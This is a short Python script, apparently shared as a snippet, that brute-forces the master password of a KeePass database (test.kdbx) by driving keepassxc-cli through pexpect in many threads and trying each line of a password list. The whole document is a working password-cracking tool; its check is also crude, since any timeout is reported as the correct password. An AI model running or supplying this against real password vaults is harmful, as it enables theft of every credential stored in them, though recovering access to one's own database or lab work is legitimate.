keepass unsupported versions bruteforce

brute_keepass_threaded.py

#!/usr/bin/env python3

import pexpect
import threading
import time 

class bruteThread (threading.Thread):
    def __init__(self, password):
        threading.Thread.__init__(self)
        self.password = password
    def run(self):
        p = pexpect.spawn('/bin/bash -c "keepassxc-cli open test.kdbx"')
        p.expect("Enter password to unlock")
        p.sendline(self.password)
        p.timeout = 2
        try:
            p.expect("Error while")
            p.close()
        except :
            print(self.password + " is correct")

with open('Passwords.txt') as passwords:
    for password in passwords:
        thread = bruteThread(password)
        thread.start()
        time.sleep(0.1)